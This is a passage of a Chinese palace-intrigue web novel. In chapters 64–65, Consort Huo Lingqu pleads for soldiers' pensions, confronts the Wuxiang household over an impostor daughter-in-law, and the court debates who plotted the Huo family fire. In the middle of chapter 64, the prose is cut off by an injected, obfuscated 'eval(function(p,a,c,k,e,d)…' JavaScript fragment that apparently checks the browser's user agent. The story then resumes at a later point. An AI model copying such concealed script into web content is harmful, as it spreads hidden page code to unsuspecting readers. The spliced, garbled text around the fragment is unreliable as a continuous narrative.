“多年来我最难面对的一句话是:一将功成万骨枯,丞相可曾见过塞北的长城?很可能塞北长城的每块砖都被鲜血浇筑过,是保家卫国的将士们的鲜血。” 霍灵渠神情肃穆而哀怜:“烽烟起,战火连天,沙场上血流成河,将士们马革裹尸还,丞相可曾见识过目之所及满眼尸骸白骨森森是何等惨烈悲壮?可前线如此牺牲,最终报到朝堂的就只是个数字,我明白朝廷必须把控全局,但这数字代表着保家卫国而牺牲的性命。 每位牺牲的将士背后都有家,家中失掉个儿郎就是份再难愈合的痛,朝廷肯多记个数多拨份抚恤的银两就能多照料个牺牲将士的家眷、能多给家安慰;我想请丞相体恤,尽可能让前线保家卫国的将士们都不会白白牺牲,至少牺牲了能得到国家的抚恤。 我想请丞相哪怕为社稷稳固而隐瞒掉过多的死亡,至少试着劝君王能否私底下给抚恤?我想请丞相可怜,善劝君王心怀慈悲体察民间疾苦,霍灵渠先行谢过。” 霍灵渠退后步,附身作揖向班丞相行拜礼,班丞相倒吸凉气连忙还大礼:“娘娘言重,老臣若能为君王分忧为百姓谋福,老臣毕生大幸也。” 嬴忱璧随即站起走向父皇,朝臣们亦相继尽数起立,许多女眷没闹明白就被要求同起立,霍蓁蓁问疑惑被堂嫂禁止,乐邑长公主和婆母兼姑母问情况也是被显国公示意禁声。 太上皇搭着皇帝的手臂站起来,语调长足感怀:“朝廷有经历过民间疾苦、见证过边境将士浴血奋战是何等英勇惨烈、心怀怜悯敢直言进谏的贵妃乃皇帝之福。 丞相为百官之首辅助皇帝主持朝政,穆国公任兵马大元帅掌国家军事,你二人乃朝廷最倚重的大臣,皇帝有你们辅佐,寡人也放心得多,你二人劳苦功高也受皇帝一拜吧。” 班丞相和穆国公皆受宠若惊直呼不能,太上皇再坚持应当的,按流程般走过必需过程,正徽帝嬴忱璧作揖弯腰向大臣行拜礼,他二人连连回拜,端的是君贤臣良。 然而霍灵渠可真看不懂,悄悄移步到晏霁之身侧,满眼惊讶询问这叫怎么回事? 晏霁之给个眼神让她自行体会,心里真有点怨:你要做这件事前就不能先和我商量吗?当着满朝大臣的面,你向丞相请求还能只是代边境将士讨顺水人情那么简单吗? 嬴忱璧能放过这种机会吗?对了,如果今日是魏王坐龙椅,他就想不到,能如你的初衷只当是你向丞相请个求,可以嬴忱璧的城府和朝局手腕能想不到吗?!没见皇帝利用此事多能给自己做文章,太上皇心里再不情愿都得乐呵呵陪着演。 当然皇帝拿此事给他自己用过后必会给你大做文章,这甚至能盖掉你沦落风尘和陪我四年多的过往;明年郭皇后必得请辞,我都怕过两三年你就能被嬴忱璧推上凤座了。我给你排这场想争皇后凤冠的戏不是真想让你争啊,晋位皇后你还能离宫吗? 64. 第64章 峰回路转,眼光毒辣的人精们真想不到霍贵妃想争凤座的戏里还能有这种峰回路转。 一般二般的观众或当看热闹或感霍灵渠心善或看贵妃真会演,深耕朝局的老狐狸们自是参得透事态的深远影响,贵妃这是凭一己之力踩住将来朝野对她晋位的口诛笔伐啊。 想坐收渔利以及和霍家不对付的人家,但凡看得懂,心情就很糟。霍灵渠也有点糟心,她没搞明白状况但她看得明白晏霁之的眼神啊,对她自己而言,她似乎办砸了。 正徽帝嬴忱璧心情可是真好,待大家重新落座,他即温柔让贵妃到他身边坐。 霍灵渠整整心态进入第二轮事项:“陛下,臣妾知道假冒的霍桑柔嫁在武襄侯府,我想走过去对武襄侯府说几句话;但臣妾怕未必还能认得出,能否请相爷帮我指个路?” “好!” 班丞相平静应是,给霍贵妃引路向武襄侯府处,他表面平静心里更平静,指路而已嘛;他就只管引贵妃走到武襄侯家面前,然后缩小存在感争取置身事外。 满殿视线瞩目围观下,武襄侯带家眷站起向贵妃问安,体面得窥不出半点想法,霍灵渠敛衽回礼,视线投向童年的故人若有怅惘:“年前冬月,霁之陪我到大相国寺上香偶遇魏王,当时霁之还曾感慨原来我们这群人相伴玩闹过整个童年。 而今想来,二十年前同在拙曜堂读书的孩童们,谁和谁又不是童年相交的情谊?可惜,二十年回首如在弹指间却胜似沧海桑田,我和忱璧纵然再牵手也终究隔阂难平;姐姐舒窈曾是纤若伴读也难逃陌路,薛哥哥幼年最想潇洒还是尚公主入仕途。 霁之情深终自伤,嬴天漾绝境求生再不复儿时笑貌,六哥哥至今杳无音讯,四姐姐只活到十三岁就病逝;新进朝堂的大臣们又有谁想得到瞻让哥哥你和我大哥海啸是魏王伴读,魏王和晋王也曾嬉戏玩闹兄友弟恭,物是人非,原来那么可怕。” 一声童年几缕伤怀,突闻往昔没点感触是假的,乐邑长公主嬴纤若都没找茬刺她。 魏王和晋王势如水火就是朝堂公开的秘密,可看客们以为会对呛的两位王爷却各自安静,甚至这就全然不符晋王平日里的作风,再看霍贵妃提及种种避讳事端没人怼她竟毫无违和;多少唏嘘,谁又能把童年磨尽?然而时过境迁早已不能回头。 侯三爷侯瞻让低头苦笑,武襄侯代三儿接话:“贵妃娘娘训诫的是。” 霍灵渠抬手抚抚眼角,收起伤感通知:“您家四奶奶连同济善庵里那位都被我接走了,可能四五年也可能十年八载,我愿意放人时若武襄侯府还要这儿媳,会还给你们。” “贵妃娘娘可能明年就放人吗?” 武襄侯原在犹豫该客套谢过还是即刻谈判,侯四爷即假霍桑柔的丈夫侯瞻渥见父亲犹豫急忙扯他娘,几乎想越过父亲出面;他瞥见不由在心中叹息,也没甚可犹豫了。 然这举动可令在场众人惊讶,有感叹武襄侯府重情义,但多数人还是觉得他家昏头了,且不提假霍桑柔是否知情,凭那来路不明的身份就将麻烦重重;何况霍家憋着多大怒火,你家若是护着还能逃过和霍家成仇吗?再者如果假霍桑柔知情呢?! 穆国公霍秦川看眼父亲,霍擎老神在在,想决裂就决裂,谁还能拦武襄侯娇惯幼子。 “贵府四爷当真爱妻呀。”霍灵渠恭维笑起来,美眸中似有团火在烧似有癫狂似有狠厉:“您可知我是怎么带妹妹逃出禁锢的吗?是我生母病逝,我拿命相逼得到七天守墓的机会,在给我生母守墓、他们看管松懈时找到空隙带妹妹拼了命逃跑才终于逃脱。” 武襄侯接不住话,紧密关注的侯瞻渥看出父亲想放弃,一心急就出头交涉:“可贵妃你现在毕竟没事,还被册封为贵妃,你还有什么不好;阿柔又没害过你,你作甚就要赶尽杀绝?我家又不是让你平白放人,你就说你想要什么才肯放过阿柔?” 看客们真不知是否该夸侯四爷情种,对霍家岂能是你这种算法,你做白日梦呢? 霍灵渠明白人家向着自己媳妇很正常也难保持平静:“可真轻巧,在瞻渥看来我们姐妹被禁锢的苦难和生母病逝的悲痛还有拼命逃回京城的艰辛全都不足挂齿啊。 你的媳妇没害过我,但她享尽十六年霍家的呵护疼惜,这是害我的幕后黑手送给她的,这本质与你爹娘给你富贵疼爱有多少差别?倘若你爹有死敌来寻仇,因为你没害过他,你是要对你爹的死敌说:我没害过你,你要报仇只杀我爹就好别来杀我吗?” 侯瞻渥语塞,慌忙扯他娘的衣袖;武襄侯代幼子赔罪,侯瞻让抬头对上霍海啸的视线,他自嘲,他和霍海啸二十多年的兄弟情应该快到头了。 年近六旬的升平大长公主咬牙放下老脸相求:“贵妃恨,老身明白,更明白请贵妃对我家小儿媳高抬贵手是戳你肺管子,可家中小儿夫妻情厚实难割舍,俗语也说宁拆十座庙不毁一桩婚,只得请贵妃怜悯;贵妃有任何要求,侯家必定办到更会永远铭记贵妃大恩。” 武襄侯没有反对等同默认,看客们真感叹,为个来路不明的儿媳妇至于吗? 贵妃还能当众驳掉升平大长公主这位太上皇长姐、皇帝姑母的脸面吗?霍海啸心中冷笑,武襄侯这是认为他家难逃被清算便干脆借题发挥与霍家划清吗? 霍灵渠沉吟几许未作答复,侯瞻渥心急火燎催促:“贵妃你到底还有什么要犹豫,我娘都明确说是任何要求,你想要做皇后我们家都愿意支持你了你还想怎样?” 晏霁之心中腹诽接得真漂亮,霍舒窈可想出头对呛:你家想庇护那假冒货,霍家就得按你家的意思来吗?仗着太上皇是你舅舅了不起啊,两家撕破脸硬杠又怎样? 那段话仿佛是点燃火药桶的火苗,霍灵渠也再没犹豫直接就炸:“我原就说我愿意放人时若武襄侯府还要这儿媳,我会还给你们。你家的四奶奶就那么金贵,不能受丝毫苦;我霍灵渠和我妹妹霍桑柔就那么轻践,活该受那么多罪?!” 咆哮的质问令整座大殿都静了静,皇帝神情微变,霍海啸冷脸,霍枫叶捏紧拳头。 武襄侯按住妻儿想赔罪时,霍太后怒喝:“皇姐,你疼爱儿媳难道我家就不疼爱孩子?我的灵儿本该享尽荣耀和疼爱结果被害受了十六年罪,灵渠原本早该是皇帝的原配皇后,结果现在只委屈居贵妃位还得受尽流言蜚语。 谁能赔得起,把策划这场阴谋的黑手还有那两个假冒货株连九族千刀万剐都不够赔的!贵妃看在皇姐你疼爱儿媳愿意饶那假冒货一命还不是最大的怜悯吗,皇姐你还想得寸进尺,是看我灵儿好欺负还是当本宫和霍家全是死人?!” “太后息怒!”武襄侯迅疾请罪:“盖因事出突然,拙荆和犬子心急才措辞不当冒犯贵妃,臣等对贵妃娘娘绝无不敬之意,还请圣人、陛下、太后降罪。” “姑母和表弟既是无心,贵妃自然谅解,无妨。”皇帝轻轻揭过,霍太后只得压怒火;太上皇略微头疼,霍家若是不肯谈,这姐姐和外甥必得来磨他呀。 武襄侯带家眷谢恩,侯瞻渥被迫暂且忍耐,晏霁之和霍枫叶同时注视他两眼后别开。 “圣人的四公主、我的四姐姐生前一定很想穿一次凤冠霞帔。” 突兀的,霍灵渠盯着升平大长公主冷嘲热讽:“落花有意流水有情,就差您应允定亲;可惜我四姐姐死的早,没能看见姑母如此疼爱儿媳妇。” 侯三爷侯瞻让霎时心酸,太上皇微怔,英王晏墉愣下有些苦涩的低头,晏霁之冷嗤他刚刚真是眼瞎了竟然没看出这么明显的讽刺对照。 班丞相感叹贵妃可真会诛心啊,这就把武襄侯府请圣人出面的路给堵住了;不论圣人对晏家什么态度哪怕武襄侯府是遵从他的授意,此刻也绝不可能忍受他的四公主被嫌弃。 升平大长公主猛然被窒住泛起苦涩,武襄侯按住老妻和幼子,退后步向霍贵妃行大礼。 霍灵渠凝眸定定看他眼,扶过镶金丝边的宫裙转身离开,班丞相叹口气跟着走开。 “霁儿认为当年霍家大火是外人在策划,可是有查到线索?”太上皇问,晏霁之卖乖:“禀圣人,昨日臣和海啸粗浅聊过,您能否让海啸先向您和陛下汇报?” 霍灵渠走回来,皇帝刚想让贵妃陪他坐龙椅又被父皇抢先发话,略郁闷得端酒杯喝酒。太上皇很好说话的和蔼同意了:“好,就由海啸先禀奏。” 穆国公霍秦川真怀疑太上皇妹夫故意的,想堵死姐姐和外甥请他出面调解的路。霍海啸跨前步禀告:“启禀圣人、陛下,昨日在济善庵前,晏霁之给臣提了个新观点。 如果幕后黑手策划这场阴谋的真正目的不是想害贵妃而是有足够的耐心想放三十年的长线企图吞掉霍家呢?前十几年两个假冒货还在积蓄力量又能做什么,自然是蛰伏,而当年灵渠没有被害是幕后黑手根本不怕灵渠逃回霍家。 圣人、陛下、姑母试想,霍家二夫人和英王妃可是亲姐妹,倘若霍家被牵引着就认定这是臣二婶和佟家所为,霍家与晏家死斗还会远吗?更何况,霍家十多年都没有怀疑过当年的大火是阴谋,幕后黑手谋划得该有多缜密周祥?” 置身事外的看客们被惊住,整座大殿倏然沉寂。 霍太后愣住了,在场其他霍家人亦惊的惊、吓的吓、怒的怒;穆国公夫人婆媳难以置信竟有那般险恶?霍枫叶忽然想笑,霍舒窈紧张攥手,霍蓁蓁害怕地抓紧她娘,堂兄推断得好像没错但她真的不能理解这阴谋不是害她大姐吗,怎么就变成要吞掉霍家? 佟尚书背脊隐隐冒寒气,他肯定是外人做的却没想到会有那么深的谋划,这场阴谋根本不是要害霍灵渠而是瞄准形势做局妄图趁机上位做当朝第一豪族?! 太上皇心中真有波动,这推论情形全然超出他的意料;班丞相顺着霍海啸的思路考量都觉得有点瘆,不只他,在座不少自认心思城府够可以的朝臣和官眷都觉得有些瘆人。 那么如果霍海啸的猜疑属实,假冒的两个还有可能不知情吗?武襄侯立时意识到严重,瞥眼幼子还在震惊中没回神,他真怕幼子执拗、老妻宠溺宽纵,这事会没法收场。 晋王兴致勃勃在殿内搜寻可疑人选,肯定在场。显国公想到高座的舅兄,不由笑起来;晏副相心沉了,抓紧桌案看向侄儿,英王脸沉得也当场冒出个念头:莫非是圣人早在十多年前就谋划想同时覆灭霍家和晏家? “谁?!”回过神,霍太后勃然大怒:“晏霁之你到底有没有查到是谁在谋划?” “禀太后,您得请圣人不怪罪臣、臣才能禀告查到的线索。”晏霁之故意耍耍,太上皇径直开口:“好好,寡人不怪,霁儿有任何话都尽可直言。” 晏霁之谢过恩再憋坏:“《史记》有曰:‘臣闻勇略震主者身危,而功盖天下者不赏。’晏霍两家得圣人和陛下器重皆已至鼎盛,太盛则危;在臣窥出明确的线索指向前,姑父恕罪,霁儿怀疑的是姑父您,而您也的确是幕后黑手最好的掩护。” 呃?霍灵渠惊讶转向他,晏霁之淡定忽略这女人,霍灵渠豁然理解,他故意的。 而殿内险些掀起轩然大波,霍太后冷静了,看客们想想还真是最有可能是圣人,哦不,圣人最像掩护,英王世子明确表示有线索证明不是圣人。 晏副相和英王对视眼,难道是他们想错?显国公皱眉,英王世子真有证据吗,可若不是太上皇还能是哪家,郢国公府?昌隆侯府?护国公府,不可能吧。 魏王莫名直觉就怀疑到了庄氏,太上皇哈哈大笑:“霁儿怀疑的好,寡人当局者迷竟没想明白已在不知不觉中被当做活靶子,这幕后黑手的心思的确够深。” 皇帝道:“既然晏卿有明确的线索指向,即刻拿出来给父皇母后和朕解惑吧。” “禀圣人、陛下,想查幕后黑手的身份可以从假冒的霍桑柔入手。”晏霁之娓娓解析:“授康十六年霍家大火只有霍桑柔保全,而这阴谋迄今为止也只有假霍桑柔得利。 假若幕后黑手的意图只是侵吞霍家或者挑起霍晏两家死斗,他为何要留下霍桑柔,乃至费心给假霍桑柔筹谋前程,这不是画蛇添足吗?除非抢夺霍桑柔的身份并且给这假冒货安排锦绣人生是阴谋的目的之一,幕后之人和假霍桑柔关系非比寻常。” 太上皇不禁皱眉,班丞相反复掂量都有点疑虑,侯瞻渥慌乱想驳斥被武襄侯紧按压住,霍海啸怀疑他的推测和郢国公府能有联系?霍巨浪独自沉思,霍雄鹰只好让小叔详解。 庄太妃惊奇了,这两点难道能算破绽吗,他怎么就能以此推测出来? 晋王就越想越晕,实际全场半数人以上的理解情况都差不多,吏部尚书看看人家的后辈再瞧瞧自家儿孙,忒能领悟英王为何舍掉最疼爱的庶子。 霍漓江和霍秦川各自琢磨,霍擎问:“娃啊,你不觉得你说的有矛盾吗?” “第一,两个假冒货远避山东十三年,灵渠在授康二十年就逃离禁锢却多年未回,那么到霍桑柔及笄的年纪时幕后黑手自然认为安全会让她们回京展开后续。 第二,两个假冒货,幕后那位只在意假霍桑柔,人已嫁进武襄侯府,霍家倾覆又如何?今日阴谋捅破,身份虽假但夫妻情真,武襄侯府不仍然要护着吗?就算他家想舍弃,可幕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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任皇后和悼太子皆已身故,会否是他们身前安排想留给魏王,臣妾不敢妄加揣测,但按英王世子的线索与臣妾能有何牵扯?霍家那场大火是在授康十六年,当时臣妾两双儿女俱全,楚王最得您疼爱,臣妾作甚要去谋划十几二十年后的争储事宜?” 霍太后有点动摇了,魏王很清楚她是什么德行都被气得够呛,局面逐渐偏转,转瞬间安静的殿内暗流涌动,太上皇神情莫辩:“国丈以为哪家会最有可能?” 众目睽睽,霍擎阴沉全消挺爽朗:“老臣以为应该不会是庄太妃。授康十六年嘛,老臣记得很清楚,我家大火发生在任皇后薨逝前月;任皇后薨逝前几日,庄太妃的小闺女、只有两岁的六公主暴毙,圣人您连四十岁寿诞都取消了。 当时宫里有谣传六公主暴毙是被生母残害,老臣就不信,庄太妃做啥害自己的亲闺女?难道六公主不是圣人的亲骨肉,庄太妃怕幼女不像圣人所以悄悄让幼女假死吗?” “……” 穆国公霍秦川憋笑得真想捂脸,正徽帝嬴忱璧也愣是被卡住,晏霁之心里乐得想叫绝,活七十岁果然已经活得炉火纯青能傲视群雄碾压全场,这颗怀疑的种子种得太绝了。 殿内一千好几百人几乎全受到阵头脑风暴,多数人也都听懂了;显国公眼冒金星喘得几乎想掀桌而起,晋王要跳起对骂被晋王妃死死拦着,这时候必定说多错多。 太上皇的脸已经阴沉得能滴墨汁了! 霍老太爷明明白白就在表态:他怀疑假冒的霍桑柔是太上皇那位幼年早夭的六公主,那么能给假冒的霍桑柔安排前程的自然是庄太妃这位生母,而这也正好符合英王世子的线索。所以他分明在反话正说,就是怀疑庄太妃最像。 看客们看得眼晕头更晕,好些朝臣尤其是高位大臣真觉得糟心啊,魏王可是又想笑又觉得真痛快,看他不把这笔血仇连本带利讨回来!侯瞻渥反而不敢再想驳斥,武襄侯真头痛,小儿媳若真是当年早夭的六公主,他家就得被架火上烤了。 皇帝以手抵唇轻咳声想打圆场揭过此事,霍灵渠率先引开话题:“陛下、姑母,今年要进行秀女大选是吧?臣妾要取消选秀,陛下可能应允?” 旁观者们默默吁气,顶着太上皇的高压瘆得慌啊,还好事情没发酵,贵妃就另起话题;毕竟甭管是谁在谋划这场阴谋,还没证据,真不适合再当场当众研究讨论了。 表面虽然冷静,庄太妃心里到底有点慌,一时间她也把握不好该如何打消圣人的疑心,暂且揭过最好;她隐晦看眼老穆国公,锋芒如此盛,就不信圣人能容忍霍家到几时?! 太上皇闻言抬起眼皮,没待皇帝回复就问:“贵妃为何想取消选秀?” 皇帝随之望去,眼含温柔。霍灵渠低头,没收到皇帝的传情,伸手搭在小腹,含笑娇羞演得棒棒的:“如果灵渠下月就有身孕,那么多新人分宠多糟心呀。” 哪会是下月,霍贵妃的言行举止分明是她现在就清楚自己已有身孕?! 啪嗒一声,皇帝仿佛能听见自己一颗心掉在地上摔碎的声音,他瞪大眼睛真的不敢信。晏霁之直觉想你背着我偷偷怀孕吗?也是惊得瞪向女人,愣是没想怀孕主控权在他。 霍太后刚从假冒货可能是圣人的公主的震动中恢复平静就遭遇这出,头痛得直按脑门;穆国公霍秦川真想捂脸,侄女这么玩他受不住啊!霍漓江尽量冷静,霍擎悲催想善后顺便骂宝贝孙女啥德行随霍漓江不行啊非得要命的臭德行随爹。 霍海啸额角青筋直暴怒瞪晏霁之,晏霁之自认没有欢喜雀跃地斟酌:“应该不可能。”但是吧,如果他真的要当爹了,他肯定得立刻即刻带怀着他孩儿的女人回家。 应该你个头啊应该!霍雄鹰撸起袖管要冲上前暴揍他顿,霍家没人阻拦,还是晏煦之喊晏朗之把人死死拦着,他们晏家和霍家连同各自的亲戚家都觉得要疯了。 魏王倒是有把握自信霍灵渠在扯谎,可真想不通这女人在玩什么把戏呢? 不相关的观众不是憋笑得快笑疯就是怀疑贵妃的脑子真的有问题,太上皇不适合再接茬,平原大长公主见状当即讽刺出出闷气:“贵妃若是当真下个月就能有身孕,是不是皇帝的种恐怕有待商榷,还是现在就让太医给你号号脉以保皇家血脉纯正。” “姑母考虑得有道理。”霍灵渠小脸乐得如花瓣绽放:“这样吧,为了让姑母您放心,也为让父皇母后和陛下还有众卿家们都放心,我决定进宫前三年内不侍寝。” 被神转折的他们:“……??” 65. 第65章 难道贵妃你说如果下月就有身孕只是想引出三年不侍寝的圈套? 这神转折得愣是把全场噎住,魏王愣下险些笑出声来,皇帝愣下喝杯酒压压惊松口气。霍海啸真哭笑不得,穆国公霍秦川总算能捂脸了,瞧这虚惊吓得他差点心跳不正常。 晏霁之窃喜幻灭侥幸被打碎很不爽,在心里狠狠怼这女人你可真能耐啊这么会设圈套。霍擎老太爷则在心里骂混球,瞧瞧这都把他宝贝孙女带坏成啥德行了。 只是多数人包括太上皇和霍太后还有被套路得一愣一愣的平原大长公主愣是没转过弯,贵妃没资格喊平原大长公主叫做姑母,她都没注意呵责,这到底什么情况?贵妃真正的目的难道是想不侍寝吗,可哪有做嫔妃不侍寝的道理? 乐邑长公主清醒地戳穿:“贵妃怕惹朝野非议皇嗣的纯正,前三五个月不侍寝足够了;三年都够贵妃前半年不侍寝之后再生两胎了,三年,是贵妃有私心吧?” “没个三五年,朝野的议论就淡不了,我可不想我的孩儿在流言蜚语中降生。” “你可以服避子汤。”乐邑长公主不咸不淡提醒看她如何再推脱狡辩,霍灵渠很坦率:“我和晏霁之向来是晏霁之避孕,我从来没服用过避子汤,不信你问他。” “是的,我可以证明。”晏霁之没话找话接话,穆国公嫌糟心得把这混球拽到他身后;乐邑长公主冷嘲:“你在英王府没服过避子汤,进宫以后服用起来不就行了。” “是药三分毒,我很金贵的。”霍灵渠小脸傲娇:“你看我和晏霁之都是晏霁之避孕就很明白了。”真正的缘由是晏霁之主动提由他避孕,虽然她一直想不通他怎么会愿意? 逐渐醒悟的看客们听到金贵二字真是服的,乐邑长公主险些破功,骂出看客们的心声:“霍灵渠你要不要脸啊,你都沦落过风尘了,你是非清白身进宫,你竟然也能标榜自己金贵?你不要脸也给你霍家留点脸行吧。” “纤若你是不是傻,好好的人没犯病作甚要轻贱自己?” 霍灵渠驳斥:“十六七岁的时候,我做绣活一个月挣不到一两银子,在撷芳馆时我弹首曲儿一晚上就能挣到百两银子甚至更多;无论是做绣活还是卖艺,我凭自己的本事挣钱,我不偷不抢、我堂堂正正挣银两养家为何要羞辱自轻? 晏霁之给我赎身,嬴忱璧册封我做贵妃,都是他们自愿的,又不是我死乞白赖求他们,我自幼祖父教导我,灵渠比金元宝还贵重,我当然金贵。纤若你的家产都是圣人给你的,你有靠自己挣到过银两吗?如果你碰到我的遭遇没准儿你还不如我呢。” 乐邑长公主嬴纤若噎得够呛,被之前的神转折也噎得够呛而刚回神的霍舒窈本想骂她,听到她说一个月挣不到一两银子忽就心酸,想想还是不骂她了。 霍家诸位多半偏难受,多数官眷们差不多都认同霍贵妃脸皮厚啊,没清白就是道天堑,多少眼高于顶的名门淑媛贵妇谁愿意屈膝向个没有清白的娘娘跪拜?杭婕妤心中冷笑,入过风尘没有清白还敢冠冕堂皇大放厥词不就仗着有霍家撑腰吗? 而班丞相不愿意贵妃晋位在这刻也不得不承认霍贵妃比郭皇后好得多,通透是福啊。 “三姐你做啥不回家呀?” 皇帝正欲表态,霍太后恨、霍擎老太爷和儿孙们多心酸时,霍雄鹰真忍不住了,他心里酸鼻头酸甚至带着点要哭的腔调,家里都能把金银珠宝当成石子玩,可三姐姐呢? “就算我爹和大哥嫌你给家里蒙羞,可祖父祖母和二叔姑母还有我和我娘都会护着你,咱家人只要有良心都不会嫌你,三姐你回家里来不用害怕的。” 许多人微怔,一个或被忽略或模糊或按在心里的疑惑终于如浮出水面般跃然呈现眼前:霍灵渠早就带着妹妹逃脱了怎么还能在外漂泊那么多年?她寻回京肯定能找到霍家呀。 “三姐记得雄鹰小时候白胖胖肉嘟嘟的,祖父故意吓唬说要把雄鹰卷成球当蹴鞠踢都没能让雄鹰少吃碗饭呢。”霍灵渠看向堂弟,弯弯眼笑得犹如晚秋岁月里徐徐收卷的桂花香,令人醉令人怜:“没想到如今都长得这么高高俊俊的了。” “是啊,还能在老爹五十大寿的寿宴上睁眼说瞎话要抢流光做妾呢。”人家堂姐弟情还没来得及酝酿发酵,晏霁之逮到机会当机立断给掐断顺便出出郁气。 徒惹伤感的氛围消散,许多看客怔愣下急憋笑,霍巨浪再捂脸,穆国公夫人婆媳尴尬呀,穆国公都想捂脸,霍海啸和霍灵渠同时瞪他;霍雄鹰麦芽色的俊脸活活被涨成猪肝色,真想冲上前把他暴揍顿拍进砖缝里,这混蛋绝对故意的?! 皇帝和霍擎老太爷各自咳嗽下然后就被太上皇抢前发话:“寡人也想起来贵妃刚提到过,你13岁时、恰好是皇帝娶妻前天就逃回京城了,怎么会十余年都没机会再回霍家?” 众人闻言尽数瞩目贵妃,霍灵渠微微垂眸几息时间复抬起,绝美的容颜漾起岁月沉淀后仍然澄明纯净的笑意:“禀圣人,是我带妹妹终于寻回京城走到家门前,我犹豫了。 当年我们姐妹和生母被禁锢在扬州,看管我们的仆妇和护卫明确自称是佟家奴婢,就是霍佟氏和佟家要害我们,在霁之给我分析这场阴谋前,我也从来没有怀疑过。 生母病逝,我们姐妹趁守墓她们看管松懈之际,我带妹妹伺机逃脱,拼了命寻回京城。终于走到家门前,我反而犹豫;这仇我必定要报但我只要佟梦姿的命,可只要我跨进家门,太太会死、爹爹会和岳家做成死仇、振羽的人生会被毁掉,霍家会被搅得再难安宁。” 霍灵渠淡淡感慨,眉眼舒悦:“若只因我报仇就害得家里再没有欢笑,我也不会开心;我在家门前几经思量想还是算了吧,我抚养桑柔长大后再伺机报仇就好。今回首,灵渠也真的庆幸当年没有跨进家门,否则报错仇还可能会害家族倾塌,我一死都难赎。” 满殿震惊,谁会又有谁能质疑贵妃在扯谎,她可实实在在十多年没回归霍家。 寥寥已知者此刻再听仍五味杂陈,霍漓江苦涩低头抬手按按眼睛,霍擎心里笑,他都想替幕后黑手可惜了,那么大把岁数了却连他家灵渠都算不准,真是可惜。 诲仰道长低眸晦涩,这种德行怎么就偏偏那么像。饶是太上皇心中都有丝触动,郢国公惊诧得像被雷劈过而后迅疾恢复;武襄侯感慨穆国公应该是真心疼爱侄女吧,否则贵妃哪来如此肯定的信心认定只要她跨进家门就能报仇? 庄太妃真觉得可笑至极,这算什么,霍家这么片歹竹长出颗愚笋吗?鞠太妃无端不爽,霍家何等险恶歹毒也配标榜仁爱良善吗?显国公难以置信过后哼笑想,贵妃的凤座,稳了。晋王就有些不是滋味,童年玩伴,曾经他们的童年多欢乐,现在都成死对头了。 乐邑长公主莫名不舒服,霍灵渠她到底是蠢还是傻?!!霍舒窈真心酸得有点想哭,她一直以为妹妹是被迫无颜再回家里,哪想到她竟然寻到家门前又主动离开,怎么那么傻啊。霍雄鹰脑门直突突地跳,他要把策划这场阴谋的凶徒千刀万剐碎尸万段! 对霍家谁能没受点震动?霍老夫人靠在长媳怀里悲泣,穆国公夫人都眼眶湿了,霍巨浪低头强忍克制;霍三老爷拿手帕擦擦眼,霍振羽心里闷得厉害,佟梦姿忽然后怕得冒寒气,佟尚书都觉得后怕,但凡当时贵妃一念之差,佟家很可能已经倾覆了。 在霍蓁蓁十四年多的人生中还没听说过这种奇闻,她虽然震撼,但放掉立场想想真不能理解这大姐,谁遭那么多罪后终于寻到家门前还不让家里给她报仇雪恨?蠢货都没这样蠢得。郭皇后也是想不明白,好在跟她又没关系,听过就抛在脑后了。 老话说的好啊事不关己高高挂起,对和自己没关系的八卦多数人就是凑热闹,在场多半看客皆是震惊下就没再在意,否则还要怎么样,难道替霍贵妃感同身受吗?建威侯夫妇也听过就抛脑后,最多讥讽霍贵妃能算霍家心肠最好的可还不是非清白身都想晋位?! 班丞相倒是真在意,略心乱得瞟向离得近的同僚,房副相老脸松泛,户部尚书自嘲,吏部薄尚书失笑般摇头,自惭形秽啊,他们自觉手腕能耐比不过霍家但品行可比霍家强多了,可他们这些自视品行不错的人家又有谁家能养得出这样的孙女? 贵妃心里有大爱啊,通透坚韧懂取舍更敢牺牲,薄尚书想,实在是比郭皇后强太多。 晏副相老眼沉沉,倘若这场阴谋真有挑起晏霍两家死斗的目的,晏家都欠贵妃一份情。他家长孙晏和之对上堂哥晏朗之的视线,忒明白堂兄的讽刺,和霍振羽兄妹霍鸳娇姐妹之流对照下真是不要太鲜明讽刺,亏得太后真疼爱贵妃,霍家还算有人情味儿。 霍太后又恨又怒真真活活被气得骨骼都疼:“灵儿?!你、你……你怎么能……” “这种臭毛病随你的母亲!”国师诲仰道长嫌弃:“老穆国公和霍太后、霍秦川、霍漓江谁不是个顶个自私,你姓霍,怎么就不能学学霍家的做派非得这种臭毛病随你母亲?” 被点到名的四位突然被卡住,霍太后如找到发泄般骤然怒瞪他,霍漓江炸毛般警告他,霍秦川眼神幽幽飘向他,霍擎老太爷凶狠地想压压他,奈何,国师以一敌四反逼视,硬生生逼得他们四位全部偃旗息鼓谁都没敢反驳,看得殿内众人可真新鲜。 “国师可真厉害。”晏霁之也没入心,憋笑对霍海啸耳语,惹得霍海啸再严肃瞪他。 霍灵渠斟酌想叫舅舅缓和下,嬴忱璧提前打圆场:“父皇,朕想这就是人性本善,世间纵然奸邪横生,但天地间浩然正气生生不息,纵有再多阴谋诡计也是邪不胜正。” “皇帝说得好啊。”太上皇满面欣慰:“贵妃小小年纪竟能有如此胸怀,真难得也。” “圣人谬赞,灵渠13岁时哪儿敢想只靠自己就能护着自己和妹妹安稳周全长大,我虽然没有跨进家门但我有找信得过的霍家故人寻求庇护。”霍灵渠干脆将往事最简略的提下:“只是后来这位故人逝世了,但他临终前有安排好我和妹妹的生活。 我带着桑柔转转迁徙到北地,又在最青葱的年华里遇到了愿意娶我的少年郎;虽然我们姐妹没有回归霍家,但这些年并没有再受过苦难。是五年前,我的少年郎,他家里出事了;是我自己愿意进撷芳馆,沦落风尘又如何?我能挣很多银两养家,没什么不好。” 有些看客多少生点唏嘘,令愔夫人摒弃轻慢之意,但实不能苟同,入风尘,气节何在? 嬴忱璧垂眸掩盖眼中的苦涩,如若当年他没有婚事,她必然是要找他寻求庇护的。 霍擎和儿孙们相互看看,讶道:“宝儿啊,你是说你有找咱家的故人寻求庇护,谁啊?祖父咋想都想不出咱家有哪位故人是你认识又信得过还好几年前已经就死了?” 